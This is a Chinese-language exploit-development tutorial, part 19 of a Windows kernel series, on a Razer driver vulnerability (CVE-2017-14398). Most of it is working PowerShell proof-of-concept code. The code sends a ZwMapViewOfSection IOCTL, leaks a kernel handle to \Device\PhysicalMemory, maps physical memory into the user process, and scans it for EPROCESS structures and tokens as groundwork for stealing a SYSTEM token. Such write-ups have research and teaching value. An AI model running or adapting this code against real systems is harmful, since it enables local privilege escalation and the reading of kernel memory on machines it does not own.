- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
Exploiting ZwMapViewOfSection (CVE-2017-14398)
是时候上点好东西了!我强烈推荐你先看看 @rwfpl 的文章来了解一下该 bug 类型的背景知识,ntiolib/winio exp 在这里 here 。
记住在第一个截图中函数期望一个 0x30 尺寸的输入(6 个 QWORD),同时输出也是 0x30 大小。我们可以快速创建一个 POC 来访问到漏洞函数。
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
}
"@
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Input buffer
$InBuffer = @(
[System.BitConverter]::GetBytes([Int64]0xAAAAAA) +
[System.BitConverter]::GetBytes([Int64]0xBBBBBB) +
[System.BitConverter]::GetBytes([Int64]0xCCCCCC) +
[System.BitConverter]::GetBytes([Int64]0xDDDDDD) +
[System.BitConverter]::GetBytes([Int64]0xEEEEEE) +
[System.BitConverter]::GetBytes([Int64]0xFFFFFF)
)
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64())) # 0x30 pyramid scheme ;)
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
在做调试之前,我们先运行 POc 并看看驱动返回了什么。
很好,附加了一串输入参数后我们可以看到 Int64 返回了 0,低序 DWORD 返回了 NTSTATUS code 。这种情况下, ZwMapViewOfSection 返回了 STATUS_INVALID_HANDLE ,它表示函数期望一个区段句柄作为第一个参数,而我们却填充了一些垃圾值。另一方面的影响在于我们可以通过对比 NTSTATUS 码 0x0(STATUS_SUCCESS)来鉴别调用是否成功。
图中可以看到我们已经知道了一些静态参数的值,为了消除疑惑我们在调用 ZwMapViewOfSection 调用处下个断点,检查寄存器和堆栈。ZwMapViewOfSection 使用 stdcall 标准,因此,参数会被存储在 RCX,RDX,R8,R9 以及栈上。
把这些全部放在我们的输入参数中,得到下面的内容。
NTSTATUS ZwMapViewOfSection(
_In_ HANDLE SectionHandle, | Param 3 - RCX = SectionHandle
_In_ HANDLE ProcessHandle, | Param 1 - RDX = ProcessHandle
_Inout_ PVOID *BaseAddress, | Param 2 - R8 = BaseAddress -> Irrelevant, ptr to NULL
_In_ ULONG_PTR ZeroBits, | 0 -> OK - R9
_In_ SIZE_T CommitSize, | Param 5 - CommitSize / ViewSize
_Inout_opt_ PLARGE_INTEGER SectionOffset, | 0 -> OK
_Inout_ PSIZE_T ViewSize, | Param 5 - CommitSize / ViewSize
_In_ SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
_In_ ULONG AllocationType, | 0 -> Undocumented?
_In_ ULONG Win32Protect | 0x40 -> PAGE_READWRITE
);
这里我们大部分能控制的都很直接。进程句柄的话我们仅仅需要传递一个到 Powershell 有完整权限的句柄,提交尺寸/视图尺寸则很简单,就是我们映射到进程的大小。但还是有个问题,我们要如何得到一个区段句柄,驱动并没有任何的函数允许我们去调用 ZwCreateSection 或 ZwOpenSection。
Leaking Physical Memory
在这一点上我甚是迷惑,由于我无法创建一个区段句柄,exp 也就到此为止了。幸运的是 @aionescu 给了我一些灵感。使用 NtQuerySystemInformation 并携带 SystemHandleInformation 类别参数我们可以泄露出系统上通过进程打开的所有句柄。这些句柄是每-进程用户空间句柄,然而,System 进程(PID=4) 是一个特殊的例子,它允许我们转换用户空间句柄成内核句柄!
我为什么要关心这些?实际上 System 有一个到"\Device\PhysicalMemory"的句柄,如果我们可以泄露出该句柄的话,就可以利用 ZwMapViewOfSection 来直接映射物理内存到我们的 PowerShel 进程了!
我写了一个 powershell 函数来实现这个功能。它使用静态的句柄常量来判断进程打开的句柄类型。我近期更新了这个函数,它现在可以在 Win 7 到 Win 10 RS2 上工作。 Get-Handles 是我 GitHub 上的 PSKernel-Primitives repo 的一部分,如果你想要利用 PowerShell 做内核 pwn 的话,可以使用它。
获取内核句柄所需要做的就是把一个静态值与 0x204(64 位:0xffffffff80000000,32 位:0x80000000)做加法运算。我们可以动态的做这件事。
$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
现在我们可以把所有东西整合一下,写一个新 POC。为了测试起见,我们尝试去映射 1mb 的物理内存到 PowerShell。
function RZ-ZwMapViewOfSection {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(
UInt32 processAccess,
bool bInheritHandle,
int processId);
}
"@
#----------------[Helper Funcs]
function Get-Handles {
<#
.SYNOPSIS
Use NtQuerySystemInformation::SystemHandleInformation to get a list of
open handles in the specified process, works on x32/x64.
Notes:
* For more robust coding I would recomend using @mattifestation's
Get-NtSystemInformation.ps1 part of PowerShellArsenal.
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
C:\PS> $Key |ft
ObjectType AccessMask PID Handle HandleFlags KernelPointer
---------- ---------- --- ------ ----------- -------------
Key 0x00000000 4 0x004C NONE 0xFFFFC9076FC29BC0
Key 0x00020000 4 0x0054 NONE 0xFFFFC9076FCDA7F0
Key 0x000F0000 4 0x0058 NONE 0xFFFFC9076FC39CE0
Key 0x00000000 4 0x0090 NONE 0xFFFFC907700A6B40
Key 0x00000000 4 0x0098 NONE 0xFFFFC90770029F70
Key 0x00020000 4 0x00A0 NONE 0xFFFFC9076FC9C1A0
[...Snip...]
#>
[CmdletBinding()]
param (
[Parameter(Mandatory = $True)]
[int]$ProcID
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_HANDLE_INFORMATION
{
public UInt32 ProcessID;
public Byte ObjectTypeNumber;
public Byte Flags;
public UInt16 HandleValue;
public IntPtr Object_Pointer;
public UInt32 GrantedAccess;
}
public static class GetHandles
{
[DllImport("ntdll.dll")]
public static extern int NtQuerySystemInformation(
int SystemInformationClass,
IntPtr SystemInformation,
int SystemInformationLength,
ref int ReturnLength);
}
"@
# Make sure the PID exists
if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
Return
}
# Flag switches (0 = NONE?)
$FlagSwitches = @{
0 = 'NONE'
1 = 'PROTECT_FROM_CLOSE'
2 = 'INHERIT'
}
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Windows 10 (Tested on v1511)
{
# Win 10 v1703
if ($OSVersion.Build -ge 15063) {
$TypeSwitches = @{
0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
0x2d = 'ALPC Port'; 0x20 = 'Driver';
}
}
# Win 10 v1607
if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
$TypeSwitches = @{
0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
}
}
# Win 10 v1511
if ($OSVersion.Build -lt 14393) {
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
}
}
}
'6.2' # Windows 8 and Windows Server 2012
{
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
}
}
'6.1' # Windows 7 and Window Server 2008 R2
{
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
0x2b = 'PcwObject';
}
}
'6.0' # Windows Vista and Windows Server 2008
{
$TypeSwitches = @{
0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
}
}
}
[int]$BuffPtr_Size = 0
while ($true) {
[IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
$SystemInformationLength = New-Object Int
$CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
# STATUS_INFO_LENGTH_MISMATCH
if ($CallResult -eq 0xC0000004) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
[int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
}
# STATUS_SUCCESS
elseif ($CallResult -eq 0x00000000) {
break
}
# Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
else {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
return
}
}
$SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
$SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
$SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
} else {
$SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
# Ask no questions, hear no lies!
}
$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size
$SystemHandleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
# PtrToStructure only objects we are targeting, this is expensive computation
if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
$SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
$Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
$HashTable = @{
PID = $Cast.ProcessID
ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
HandleFlags = $FlagSwitches[[int]$Cast.Flags]
Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
}
$Object = New-Object PSObject -Property $HashTable
$SystemHandleArray += $Object
}
$BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
}
if ($($SystemHandleArray.count) -eq 0) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
Return
}
# Set column order and auto size
$SystemHandleArray
# Free SYSTEM_HANDLE_INFORMATION array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
}
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Get full access process handle to self
echo "`n[>] Opening full access handle to PowerShell.."
$hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
echo "[+] PowerShell handle: $hPoshProc"
# Get Section handle
echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
# NTSTATUS ZwMapViewOfSection(
# _In_ HANDLE SectionHandle, | Param 3 - RCX = SectionHandle
# _In_ HANDLE ProcessHandle, | Param 1 - RDX = ProcessHandle
# _Inout_ PVOID *BaseAddress, | Param 2 - R8 = BaseAddress -> Irrelevant, ptr to NULL
# _In_ ULONG_PTR ZeroBits, | 0 -> OK - R9
# _In_ SIZE_T CommitSize, | Param 5 - CommitSize / ViewSize
# _Inout_opt_ PLARGE_INTEGER SectionOffset, | 0 -> OK
# _Inout_ PSIZE_T ViewSize, | Param 5 - CommitSize / ViewSize
# _In_ SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
# _In_ ULONG AllocationType, | 0 -> Undocumented?
# _In_ ULONG Win32Protect | 0x40 -> PAGE_READWRITE
# );
$InBuffer = @(
[System.BitConverter]::GetBytes($hPoshProc.ToInt64()) + # Param 1 - RDX=ProcessHandle
[System.BitConverter]::GetBytes([Int64]0x0) + # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
[System.BitConverter]::GetBytes($SystemSectionHandle) + # Param 3 - RCX=SectionHandle
[System.BitConverter]::GetBytes([Int64]4) + # Param 4 - ? junk ?
[System.BitConverter]::GetBytes([Int64]$(1*1024*1024)) + # Param 5 - CommitSize / ViewSize (1mb)
[System.BitConverter]::GetBytes([Int64]4) # Param 6 - ? junk ?
)
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22a050 - ZwOpenProcess
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Verifying ZwMapViewOfSection.."
$NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
$Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
if ($NTSTATUS -eq 0) {
echo "[+] NTSTATUS Success!"
echo "[+] 1mb RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)`n"
} else {
echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)`n"
}
}
运行 POC,得到下列输出。
注意到我们通过阅读 NTSTATUS 码来丈量是否成功,Int64 值此前是 0,而这一次它是一个地址,表示我们本地进程中区段的映射位置。在 Process Hacker 中可以看到确实分配了一个严格大小的 1024kb 的内存块。
使用 Process Hacker,我们实际上可以转储这块内存到磁盘上。如果我们那样做的话,就可以看到下面一些有趣的内容。Bootkit?
我们已证实了这个漏洞,但我们要如何去获取一个 SYSTEM shell 呢?
Hunting EPROCESS
最直接的办法就是通过写一个经典的 token 窃取 exp。困难在于要在我们映射的内存中查找 EPROCESS 结构体。WinDBG 中显示 EPROCESS 结构体被分配在一个标签为’Proc’的池块上。
EPROCESS 指针减去’Proc’池块首,我们可以立即算出头部尺寸。相反的,如果我们有了一个任意’Proc’池地址的话,我们也可以计算出 EPROCESS 结构的任意属性的位置。
如果你想查找这些依赖于架构/版本的偏移字段而不想利用 KD 的话,你可以看看 Terminus Project 。这是 @rwfpl 所分享的很帮的资源,它会在很多情景下节省你大量的时间。
所以我们就把问题简化到寻找’Proc’池块上,现在还没通关。为了找到这些块我们可以扫描整个内存映射区段来查找这个特殊的’Proc’池标签。
因为优化的原因,我们注意到池块都以 0x10 对齐。本质上,这意味着我们只需要以 16 字节作为单位进行读取。这可能没什么但却节省了宝贵的时间。即使如此,这个搜索也是非常之缓慢,毕竟’Proc’池块标签在 900mb 之后就开始存在了。我们可以通过扫描 0x30000000(0x30000000/(1024*1024)=768mb) 起始的映射内存来进一步的优化搜索过程,对不同 OS 版本来说,这个数可能会变化。
为了验证我们的理论,我们可以用下面的循环(在 1.2gb 映射区段)来查找’Proc’池块并转储一些 EPROCESS 数据来验证。
echo "`n[>] Parsing physical memory, coffee time..`n"
for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
# Read potential pooltag
$Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
# If pooltag matches Proc, pull out details..
if ($Val -eq 0xe36f7250) {
echo "[+] w00t Proc chunk found!"
$ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
$Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
$ProcID = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x180)
echo "[>] Address: $('{0:X}' -f $($Address+$i))"
echo "[>] $ProcessName"
echo "[>] $ProcID"
echo "[>] Token: $('{0:X}' -f $Token)"
echo "==========================================="
}
}
一部分结果如下:
如你所见,该实现体并不完美,某些映像的名称被截断了,且有着少量的检测完全没有显示 EPROCESS 结构体。幸运的是,我发现大部分进程都可以保证被正确的检测到(包括 PowerShell/lsass)。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
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